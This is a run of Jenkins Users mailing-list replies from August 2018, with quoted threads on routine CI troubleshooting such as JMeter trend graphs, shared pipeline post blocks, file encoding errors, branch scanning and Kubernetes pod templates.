to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9KktokHG4TaAkUgm4Xr-r18muc0hVazQDjGS0xCEpAP5w%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Jmeter Test execution - Blank Performance Trend graphs

2018-08-06 Thread Jan Monterrubio
I can’t find anything super obvious from a quick glance at the code. Can
you enable logging for:
hudson.plugins.performance


Maybe it will show us how it’s evaluating whether there’s previous results
or not.

Looks like the class where we might find what’s happening might be

https://github.com/jenkinsci/performance-plugin/blob/master/src/main/java/hudson/plugins/performance/PerformancePublisher.java


On Mon, Aug 6, 2018 at 04:21 Ajith Raman  wrote:

> Hi Jan,
>
> Thank you very much for the response. The plug-in used is Performance.hpi
> (version - 2.1).
>
> Regards,
> Ajith
>
> On Sunday, 5 August 2018 09:20:27 UTC+5:30, Jan Monterrubio wrote:
>>
>> What plugin is generating the performance trends?
>>
>> On Fri, Aug 3, 2018 at 3:06 PM Ajith Raman  wrote:
>>
>>> Hello,
>>> I run a Jmeter test via Jenkins. Please find below the commands used:
>>> Execute Windows Batch command (Build): cd
>>> C:\Users\C51539A\Downloads\apache-jmeter-4.0\bin jmeter
>>> -Jjmeter.save.saveservice.output_format=csv -n -t Sample_Framework.jmx -l
>>> TestResults_%BUILD_NUMBER%.jtl -e -o
>>> C:\Users\C51539A\Downloads\apache-jmeter-4.0\bin\HTML_%BUILD_NUMBER%
>>> Publish Performance Test result report (Post-Build Actions):
>>> C:\Users\C51539A\Downloads\apache-jmeter-4.0\bin\TestResults_${BUILD_NUMBER}.jtl
>>> Now the execution completes successfully. But the Performance Trend Graphs
>>> are blank. Could you please help me on this? Note: All works fine, when
>>> _${BUILD_NUMBER} is removed from the filename. Issue exists, only when
>>> _${BUILD_NUMBER} is appended to the filename. Am performing this, in order
>>> to make the output files unique.
>>> Thanks in Advance!!
>>>
>>> --
>>> You received this message because you are subscribed to the Google
>>> Groups "Jenkins Users" group.
>>> To unsubscribe from this group and stop receiving emails from it, send
>>> an email to jenkinsci-use...@googlegroups.com.
>>> To view this discussion on the web visit
>>> https://groups.google.com/d/msgid/jenkinsci-users/f87297df-97b4-4fe1-a857-c802dfcd225e%40googlegroups.com
>>> <https://groups.google.com/d/msgid/jenkinsci-users/f87297df-97b4-4fe1-a857-c802dfcd225e%40googlegroups.com?utm_medium=email&utm_source=footer>
>>> .
>>> For more options, visit https://groups.google.com/d/optout.
>>>
>> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/abe428d3-c392-4b24-b10c-7bd9c5cabc34%40googlegroups.com
> <https://groups.google.com/d/msgid/jenkinsci-users/abe428d3-c392-4b24-b10c-7bd9c5cabc34%40googlegroups.com?utm_medium=email&utm_source=footer>
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9JPAM60HiMEehhSjDShtin_0CNVzC8u1E3fAoOT0BuJbg%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Getting error while running jenkins war in command prompt

2018-08-06 Thread Jan Monterrubio
What Jenkins version?
https://issues.jenkins-ci.org/plugins/servlet/mobile#issue/JENKINS-50272

Double check if the jdk tool plugin is installed. It should come as part of
core.

On Sun, Aug 5, 2018 at 23:42  wrote:

> I  have installed jdk 8 and set path in system variable. I am getting
> below error and might be because of that not getting user password to login
> to local host.
>
> my error are below:
>
> Error injecting constructor, java.lang.NoClassDefFoundError: hudson/tools/JDK
> Installer$FileSystem
>   at 
> hudson.os.windows.ManagedWindowsServiceLauncher$DescriptorImpl.(Manag
> edWindowsServiceLauncher.java:540)
>  and
> Error injecting constructor, java.lang.NoClassDefFoundError: hudson/tools/JDK
> Installer$FileSystem
>   at 
> hudson.plugins.sshslaves.SSHLauncher$DescriptorImpl.(SSHLauncher.java
> :1550)
>
> please help to resolve.
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/42ffbd35-9f8e-4246-ba88-a6b023cf356b%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9JkrN6KZr_%3DbdMSbDovYjb525MySqcWhh3w1QCXzdePTA%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Poll Mailbox Trigger Plug-in not working

2018-08-06 Thread Jan Monterrubio
Is this configured correctly?
https://github.com/jenkinsci/poll-mailbox-trigger-plugin/blob/master/README.md#screenshots

On Sun, Aug 5, 2018 at 23:42 Kuppam Bhanuchandar <
bhanuchandarkup...@gmail.com> wrote:

> Hi ,
>
> I am using Poll Mailbox Plug-in , Test connection showing error like,
>
> Please Help me to resolve this issue
>
> Connecting to the mailbox...
> Error : javax.mail.MessagingException: Connection reset;
>   nested exception is:
> java.net.SocketException: Connection reset
> at com.sun.mail.imap.IMAPStore.protocolConnect(IMAPStore.java:665)
> at javax.mail.Service.connect(Service.java:295)
> at javax.mail.Service.connect(Service.java:176)
> at
> org.jenkinsci.plugins.pollmailboxtrigger.mail.MailReader.connect(MailReader.java:58)
> at
> org.jenkinsci.plugins.pollmailboxtrigger.PollMailboxTrigger.checkForEmails(PollMailboxTrigger.java:238)
> at
> org.jenkinsci.plugins.pollmailboxtrigger.PollMailboxTrigger$PollMailboxTriggerDescriptor.doTestConnection(PollMailboxTrigger.java:584)
> at java.lang.invoke.MethodHandle.invokeWithArguments(Unknown Source)
> at org.kohsuke.stapler.Function$MethodFunction.invoke(Function.java:343)
> at org.kohsuke.stapler.Function.bindAndInvoke(Function.java:184)
> at
> org.kohsuke.stapler.Function.bindAndInvokeAndServeResponse(Function.java:117)
> at org.kohsuke.stapler.MetaClass$1.doDispatch(MetaClass.java:129)
> at
> org.kohsuke.stapler.NameBasedDispatcher.dispatch(NameBasedDispatcher.java:58)
> at org.kohsuke.stapler.Stapler.tryInvoke(Stapler.java:715)
> at org.kohsuke.stapler.Stapler.invoke(Stapler.java:845)
> at org.kohsuke.stapler.MetaClass$5.doDispatch(MetaClass.java:248)
> at
> org.kohsuke.stapler.NameBasedDispatcher.dispatch(NameBasedDispatcher.java:58)
> at org.kohsuke.stapler.Stapler.tryInvoke(Stapler.java:715)
> at org.kohsuke.stapler.Stapler.invoke(Stapler.java:845)
> at org.kohsuke.stapler.MetaClass$5.doDispatch(MetaClass.java:248)
> at
> org.kohsuke.stapler.NameBasedDispatcher.dispatch(NameBasedDispatcher.java:58)
> at org.kohsuke.stapler.Stapler.tryInvoke(Stapler.java:715)
> at org.kohsuke.stapler.Stapler.invoke(Stapler.java:845)
> at org.kohsuke.stapler.Stapler.invoke(Stapler.java:649)
> at org.kohsuke.stapler.Stapler.service(Stapler.java:238)
> at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
> at org.eclipse.jetty.servlet.ServletHolder.handle(ServletHolder.java:841)
> at
> org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1650)
> at
> hudson.util.PluginServletFilter$1.doFilter(PluginServletFilter.java:135)
> at javax.servlet.FilterChain$doFilter$0.call(Unknown Source)
> at
> com.ceilfors.jenkins.plugins.jiratrigger.ExceptionLoggingFilter.doFilter(ExceptionLoggingFilter.groovy:29)
> at
> hudson.util.PluginServletFilter$1.doFilter(PluginServletFilter.java:132)
> at hudson.util.PluginServletFilter.doFilter(PluginServletFilter.java:138)
> at
> org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1637)
> at hudson.security.csrf.CrumbFilter.doFilter(CrumbFilter.java:85)
> at
> org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1637)
> at
> hudson.security.ChainedServletFilter$1.doFilter(ChainedServletFilter.java:84)
> at
> hudson.security.UnwrapSecurityExceptionFilter.doFilter(UnwrapSecurityExceptionFilter.java:51)
> at
> hudson.security.ChainedServletFilter$1.doFilter(ChainedServletFilter.java:87)
> at
> jenkins.security.ExceptionTranslationFilter.doFilter(ExceptionTranslationFilter.java:117)
> at
> hudson.security.ChainedServletFilter$1.doFilter(ChainedServletFilter.java:87)
> at
> org.acegisecurity.providers.anonymous.AnonymousProcessingFilter.doFilter(AnonymousProcessingFilter.java:125)
> at
> hudson.security.ChainedServletFilter$1.doFilter(ChainedServletFilter.java:87)
> at
> org.acegisecurity.ui.rememberme.RememberMeProcessingFilter.doFilter(RememberMeProcessingFilter.java:142)
> at
> hudson.security.ChainedServletFilter$1.doFilter(ChainedServletFilter.java:87)
> at
> org.acegisecurity.ui.AbstractProcessingFilter.doFilter(AbstractProcessingFilter.java:271)
> at
> hudson.security.ChainedServletFilter$1.doFilter(ChainedServletFilter.java:87)
> at
> jenkins.security.BasicHeaderProcessor.doFilter(BasicHeaderProcessor.java:93)
> at
> hudson.security.ChainedServletFilter$1.doFilter(ChainedServletFilter.java:87)
> at
> org.acegisecurity.context.HttpSessionContextIntegrationFilter.doFilter(HttpSessionContextIntegrationFilter.java:249)
> at
> hudson.security.HttpSessionContextIntegrationFilter2.doFilter(HttpSessionContextIntegrationFilter2.java:67)
> at
> hudson.security.ChainedServletFilter$1.doFilter(ChainedServletFilter.java:87)
> at
> hudson.security.ChainedServletFilter.doFilter(ChainedServletFilter.java:90)
> at hudson.security.HudsonFilter.doFilter(HudsonFilter.java:171)
> at
> org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1637)
> at
> org.kohsuke.stapler.compression.CompressionFilter.doFilter(CompressionFilt

Re: Can I have a reusable “post” block for my jenkins pipelines?

2018-08-07 Thread Jan Monterrubio
So, I think what you want is:

Project 1 Jenkins File:

pipeline {

stages {
Stage(‘’npm i’){}
}
commonPost()
}

Project 2 Jenkins file
Pipeline{
Script {
Echo{
}
}
commonPost()
}

Am I getting that correctly?


On Fri, Aug 3, 2018 at 08:20 red 888  wrote:

> wait there seems to be confusion about what i am asking for look at my SO
> post:
> https://stackoverflow.com/questions/51508234/can-i-have-a-reusable-post-block-for-my-jenkins-pipelines
>
>
> I also ready use shared libs, all my pipelines are there. Between those
> several pipelines they all have a post block that is nearly identical. I
> want to reference a parameterized post block ONLY. My post block now is
> like 80 lines of code at the end of each pipeline thats nearly tthe same.
> even after moving most of the post block steps into separate groovy files
> (that are referenced in the post block) the whole post block is still large.
>
> On Thursday, August 2, 2018 at 3:13:56 PM UTC-4, Jan Monterrubio wrote:
>>
>> We do this in our CI. Basically the shared library has some variable
>> parameters you can override and it lets you control what happens based on
>> those. I’ll see if I can scrounge up a sample later today.
>>
>> On Thu, Aug 2, 2018 at 11:04 red 888  wrote:
>>
> how does that work though? My pipelines are already in shared libraries. I
>>> want a shared post block specifically.
>>>
>>>
>>> On Monday, July 30, 2018 at 7:33:21 AM UTC-4, Johan Abildskov wrote:
>>>>
>>>> You should be able to do this with Shared Libraries:
>>>> https://jenkins.io/doc/book/pipeline/shared-libraries/
>>>>
>>>> On Thursday, July 26, 2018 at 9:22:53 PM UTC+2, red 888 wrote:
>>>>>
>>>>> I have many jenkins pipelines for several different platforms but my
>>>>> "post{}" block for all those pipelines is pretty samey. And its quite 
>>>>> large
>>>>> at this point because I include success,unstable,failure and aborted in 
>>>>> it.
>>>>>
>>>>>
>>>>> Is there a way to parameterize a reusable post{} block I can import in
>>>>> all my pipelines? I'd like to be able to import it and pass it params as
>>>>> well (because while its *almost* the same it varies very slightly for
>>>>> different pipelines).
>>>>>
>>>>>
>>>>> Here is an example post block that is currently copy and pasted inside
>>>>> all my pipeline{}s
>>>>>
>>>>>
>>>>> post {
>>>>> success{
>>>>> script {
>>>>> // I'd like to be able to pass in values for param1 and param2
>>>>> someGroovyScript {
>>>>> param1 = 'blah1'
>>>>> param2 = 'blah2'
>>>>> }
>>>>> // maybe id want a conditional here that does something with 
>>>>> a passed in param
>>>>> if (param3 == 'blah3') {
>>>>> echo 'doing something'
>>>>> }
>>>>> }
>>>>> }
>>>>> unstable{
>>>>> ... you get the idea
>>>>> }
>>>>> aborted{
>>>>> ... you get the idea
>>>>> }
>>>>> failure{
>>>>> ... you get the idea
>>>>> }
>>>>> }
>>>>>
>>>>> --
>>> You received this message because you are subscribed to the Google
>>> Groups "Jenkins Users" group.
>>>
>> To unsubscribe from this group and stop receiving emails from it, send an
>>> email to jenkinsci-use...@googlegroups.com.
>>> To view this discussion on the web visit
>>> https://groups.google.com/d/msgid/jenkinsci-users/aa1f5f13-a8c3-42b6-bccc-a35047f0c293%40googlegroups.com
>>> <https://groups.google.com/d/msgid/jenkinsci-users/aa1f5f13-a8c3-42b6-bccc-a35047f0c293%40googlegroups.com?utm_medium=email&utm_source=footer>
>>> .
>>> For more options, visit https://groups.google.com/d/optout.
>>>
>> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/5461e64c-d586-4151-bafd-ebd2076e550a%40googlegroups.com
> <https://groups.google.com/d/msgid/jenkinsci-users/5461e64c-d586-4151-bafd-ebd2076e550a%40googlegroups.com?utm_medium=email&utm_source=footer>
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9JpX%2BKE2D6cL-42ad5ahVptsX-NKoL2CpUxXycncAzWjg%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Is it possible to re-run init.groovy.d scripts whilst Jenkins is running?

2018-08-08 Thread Jan Monterrubio
You can post the script contents to the script run endpoint I believe.

“
A Jenkins Admin can execute groovy scripts remotely by sending an HTTP POST
request to /script/ url or /scriptText/.

“

From
https://wiki.jenkins.io/display/JENKINS/Jenkins+Script+Console#JenkinsScriptConsole-Remoteaccess

On Fri, Aug 3, 2018 at 11:31 AM Cuong Tran  wrote:

> Can't you run your script under script console /script?
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/d6fd715e-63a0-49d4-8454-0c5485a78fed%40googlegroups.com
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9JN0Syeyytsxc6zhkBbPQfSR74AeRONirOToYUY2CTsNg%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Define a node as a parameter for an Active choices reactive parameter

2018-08-08 Thread Jan Monterrubio
YOU should be able to clone the repository and run mavens “install”
lifecycle and produce an phi (based on the packaging of the project:
https://github.com/jenkinsci/nodelabelparameter-plugin/blob/master/pom.xml#L15

On Fri, Aug 3, 2018 at 7:19 AM marouane zhani 
wrote:

> Hello,
>
> I want to define a node as a parameter for an  "Active choices reactive
> parameter ". that means that I want to have a parameter in my job that is
> changing depending on the node parameter: if it's "slave1" the choices will
> be "TB1" and "TB2"; if it's "slave2" the choices will be "TB3" and "TB4"
> ...
>
> I have seen that we can't choose a Node parameter as a reference in the
> latest version of "Node and Label parameter plugin " (version 1.7.2) and
> that this functionality will be supported starting from 1.7.3 version as
> explained here:
> https://github.com/jenkinsci/nodelabelparameter-plugin/pull/12
>
> I have two questions :
>
> - How can I convert the src code shared in git (see the link below ) to a
> .hpi file in order to upload the plugin :
> https://github.com/jenkinsci/nodelabelparameter-plugin
>
> - In the meanwhile, I have tried to use a simple string choice parameter
> and set the node using this string in a groovy script ( inside the job, not
> in a pipeline) but I didn't succeed to do this. Do you know how to can I do
> this?
>
> Thank you in advance for your help,
>
> Marouane
>
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/d73339e7-b671-46d2-9ea4-dc8ae32607e5%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9KR7kbcTBA6%3DW7ifKYKnqka7FYo-fks6FOusANqz14%3Dvw%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Build queue hangs after timer task error on Jenkins

2018-08-08 Thread Jan Monterrubio
Do you have an abort if build is stuck configured. Or a timeout strategy in
your config xml?

On Wed, Aug 8, 2018 at 2:04 AM  wrote:

> Build queue hangs after timer task error on Jenkins.. is there any
> solution for this ..
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/8e35f45a-66e3-46f5-8f7f-5d93da458477%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9JTcN_U44dh-vmbCOjbXRcq4LY72RQt5K-%2B0b9GO6OOZQ%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: pass locall parameter

2018-08-21 Thread Jan Monterrubio
Could you set it as a system property?

On Tue, Aug 21, 2018 at 06:32 yossibr9876  wrote:

> I need to pass a local variable  - the variable declare in the shell
> script - to other project .
> If I do it with global -  it works
>
> thanks in advanced
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/f3bf209c-a362-4756-94cc-0d4e1a84d7d0%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9Kce0EfVfdP9NWJQt83%3DfHAqk%2BauBi5LYOQfZAS9n%3DmEw%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: java.lang.NoSuchMethodError: No such DSL method 'pipeline' found among steps

2018-08-22 Thread Jan Monterrubio
Do you have the jobdsl plugin installed?

On Wed, Aug 22, 2018 at 13:45 Pablo Gandulfo  wrote:

> Hi Mr. Mark Waite,
>
> Maybe there is another issue related to this problem, related to countries
> using latin encoding as standard (I'm from Brazil).
>
> I didn't use any special byte-order mark. These are the steps needed to
> reproduce the error:
>
> 1) Choose a very simple jenkinsfile:
>
> pipeline {
> agent any
>
> stages {
> stage('Build') {
> steps {
> echo 'Building..'
> }
> }
> stage('Test') {
> steps {
> echo 'Testing..'
> }
> }
> stage('Deploy') {
> steps {
> echo 'Deploying'
> }
> }
> }
> }
>
> 2) Create it with Notepad++, choose UTF-8 encoding, save it and
> commit/push to a Git branch;
>
> 3) From a Pipeline Job at Jenkins, configure it to retrieve that branch
> and run the jenkinsfile;
>
> 4) Launch the job. It will complain about "java.lang.NoSuchMethodError: No
> such DSL method 'pipeline' found among steps".
> *Note:* whatever command you choose in the jenkinsfile as the first one
> (node, stage, etc.), all of them will throw the same error;
>
> 5) At Notepad++, now change to ANSI encoding, save it and commit/push to
> Git;
>
> 6) Launch the same job. It will run with success.
>
> Regards,
> Pablo.
>
> terça-feira, 21 de Agosto de 2018 às 20:15:14 UTC-3, Mark Waite escreveu:
>>
>> Can you explain further what you mean when you say that the file was
>> formatted with UTF-8?
>>
>> As an example, I have a scripted Pipeline Jenkinsfile
>>  
>> which
>> includes Japanese characters and is well-behaved.  I am reasonably certain
>> that it is UTF-8.  I have a declarative Jenkinsfile
>> 
>> which also includes Japanese characters and is well-behaved.
>>
>> Does the file you are editing use a byte-order mark to indicate that it
>> is UTF-8?
>>
>> Is there some other technique that indicates it is a UTF-8 file?
>>
>> If you can provide steps to duplicate the problem, feel free to upload
>> those steps to JENKINS-52844, or to create a new bug report if you believe
>> that the bug you're seeing does not match JENKINS-52844.
>>
>> Mark Waite
>>
>> On Tue, Aug 21, 2018 at 2:33 PM Pablo Gandulfo 
>> wrote:
>>
>>> I got this error and invested a considerable amount of time to solve it,
>>> searching on internet and trying different approaches, all of them with no
>>> success. Finally, I found the cause and solve it. So, I would like to share
>>> this knowledge and I hope that someone at Jenkins Developer Team document
>>> this to avoid others facing the same problem.
>>>
>>> The cause was that the Jenkinsfile was formatted with UTF-8. That's it!
>>> Firstly I was using it in ANSI, but some latin characters were appearing
>>> wrongly in the log. So I changed to UTF-8 and, suddenly, every first work I
>>> used in the script file (pipeline, node, def, etc.) didn't work anymore,
>>> throwing the same error: "java.lang.NoSuchMethodError: No such DSL method
>>> 'X' found among steps".
>>>
>>> I imagine that this may be the cause of JENKINS-52844 , which was opened
>>> recently. So, Andrew Bayer (@abayer), I hope you see this message too.
>>>
>>> Regards,
>>> Pablo.
>>>
>>> --
>>> You received this message because you are subscribed to the Google
>>> Groups "Jenkins Users" group.
>>> To unsubscribe from this group and stop receiving emails from it, send
>>> an email to jenkinsci-use...@googlegroups.com.
>>> To view this discussion on the web visit
>>> https://groups.google.com/d/msgid/jenkinsci-users/0d435cdd-0669-4ed5-9142-bb58730bece6%40googlegroups.com
>>> 
>>> .
>>> For more options, visit https://groups.google.com/d/optout.
>>>
>> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/5ba8ecbc-c460-4ba4-9ef3-a2188e122ec2%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-user

Re: How do I get the “parentNumber” in my jenkins pipeline?

2018-08-22 Thread Jan Monterrubio
The variables come from:
https://wiki.jenkins.io/display/JENKINS/Building+a+software+project#Buildingasoftwareproject-belowJenkinsSetEnvironmentVariables
, I believe what you have is BUILD_NUMBER.

They're probably passed into the plugin.

Would you be able to get the file located at BUILDINFO_PROPFILE? I found
this in the changelog:

"Build-info exports an environment variable 'BUILDINFO_PROPFILE' with the
location of the generated build info properties file"

   1.



On Wed, Aug 22, 2018 at 5:36 PM red 888  wrote:

> Using the artifactory plugin.
>
>
> When I rebuild a jenkins job and deploy to jfrog, I see this in the build
> info json:
>
> [image: enter image description here]
> 
>
>
> Super useful to me and I cant find how to get that in the jenkins pipeline
> anywhere- its the job from which it was rebuilt.
>
> So when I rebuild a job from an old build this value is the number of the
> build I rebuilt it from.
>
>
> How do I get that in my pipeline? I look in the build info object but its
> not there:
>
> def artifactory = Artifactory.server 'myserver.jfrog.io'
> def buildInfo = Artifactory.newBuildInfo()
> echo buildInfo.dump()
>
>
> How does the plugin even get this info? Its no where in the env vars I can
> find and I havent seen any examples of how to get it.
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/5ad01da6-f7fb-450b-bff9-8a831121e69c%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9%2BqhJuLtAjLKGNW1Rw%2BZT8%3DydyrGWZ8GhC5WO02b-VprQ%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Reg scanning for all branches in Multi branch pipeline

2018-08-22 Thread Jan Monterrubio
Could you use one of those PruneStaleBranches traits?


https://github.com/jenkinsci/git-plugin/blob/dd2b84217cc967bf908c7f2c02beea27973cd884/src/main/java/hudson/plugins/git/extensions/impl/PruneStaleBranch.java


>  Or can we add any rule like scan only branches which has Jenkinsfile

How would it know what branches have a jenkins file without scanning them
all?

Follow up question, why 450 branches? Are they all active or can some of
them be removed?

On Wed, Aug 22, 2018 at 7:41 AM Satish Lvr  wrote:

> Hi,
>
> Greetings !
>
> We are currently using Bitbucket + Jenkins. In our Bitbucket repo, we have
> around ~450 branches due to some old reasons.
> When we raise any Pull request, Jenkins automatically scanning all 450
> branches which is taking time to finish build for Pull Request. This is
> happening for all pull requests created.
> Is there any way to avoid to not scan for the branches which we don't want
> or which are not active ? Or can we add any rule like scan only branches
> which has Jenkinsfile. Most of the branches do not have Jenkinsfile.
>
> Regards
> Satish.
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/23844211-599b-4cac-a239-f3bec3b58aac%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9KDD7YR9igSWbQUKmhHK1QoXr7Ph1Y7AxOiVjTU-4h-sw%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Jenkins K8s plugin - PodTemplate fails to create a Nodejs container

2018-08-22 Thread Jan Monterrubio
Does the container work on its own?

Looks like you have this part in the container:

"RUN apk add --no-cache --virtual .gyp \
python \
make \
g++ \
git \
&& npm install --quit && npm cache clean --force \
&& apk del .gyp"

Which runs npm install

On Wed, Aug 22, 2018 at 6:08 AM gil  wrote:

> Anyone?
>
> On Sunday, 12 August 2018 11:28:54 UTC+3, gil wrote:
>>
>> Trying to tun a podTemaplate with the following containerTemplate, we get
>> the following error:
>>
>> npm ERR! path /home/jenkins/package.json
>> npm ERR! code ENOENT
>> npm ERR! errno -2
>> npm ERR! syscall open
>> npm ERR! enoent ENOENT: no such file or directory, open
>> '/home/jenkins/package.json'
>> npm ERR! enoent This is related to npm not being able to find a file.
>> npm ERR! enoent
>>
>> npm ERR! A complete log of this run can be found in:
>> npm ERR! /home/jenkins/.npm/_logs/2018-07-18T10_27_32_822Z-debug.log
>>
>>
>>
>> Configurations:
>>
>> Jenkinsfile PodTemplate:
>>
>>
>> deftestpod="testpod-${UUID.randomUUID().toString()}"
>> podTemplate(label: testpod, containers: [
>> containerTemplate(
>> name: 'myContainer',
>> image: 'gcr.io/xxx/xxxs/zzz:latest',
>> alwaysPullImage: true
>> )],
>> volumes: [
>> hostPathVolume(hostPath: '/var/run/docker.sock', mountPath:
>> '/var/run/docker.sock')
>> ])
>> {
>> try{
>> node(testpod) {
>> stage ("checkout") {
>> container('myContainer')
>> { checkout scm }
>>
>> }
>> ...
>>
>> zzz dockerfile:
>>
>> FROM node:8.9.4-alpine
>> RUN mkdir -p /usr/src/app
>>
>> WORKDIR /usr/src/app
>>
>> COPY package.json /usr/src/app/
>> ARG NODE_ENV
>> ENV NODE_ENV $NODE_ENV
>>
>>1. Add packages needed to build native dependencies
>>RUN apk add --no-cache --virtual .gyp \
>>python \
>>make \
>>g++ \
>>git \
>>&& npm install --quit && npm cache clean --force \
>>&& apk del .gyp
>>
>> RUN apk add --no-cache vim curl
>> COPY . .
>>
>> EXPOSE 
>> CMD [ "npm", "start"]
>>
>>
>> *
>>
>> /home/jenkins is mounted as a volume
>>
>> 1. Why this mounted volume effects the container?
>>
>> 2. Does the plugin do anything besides "docker run "? I am
>> asking this because I don't understand why it is running "nmp install"...
>>
>> 3. Can you please suggest how can this be fixed?
>>
>>
>> FYI -
>>
>> If I add a working directory to the containerTemplate I get the same
>> error with the working directory path:
>>
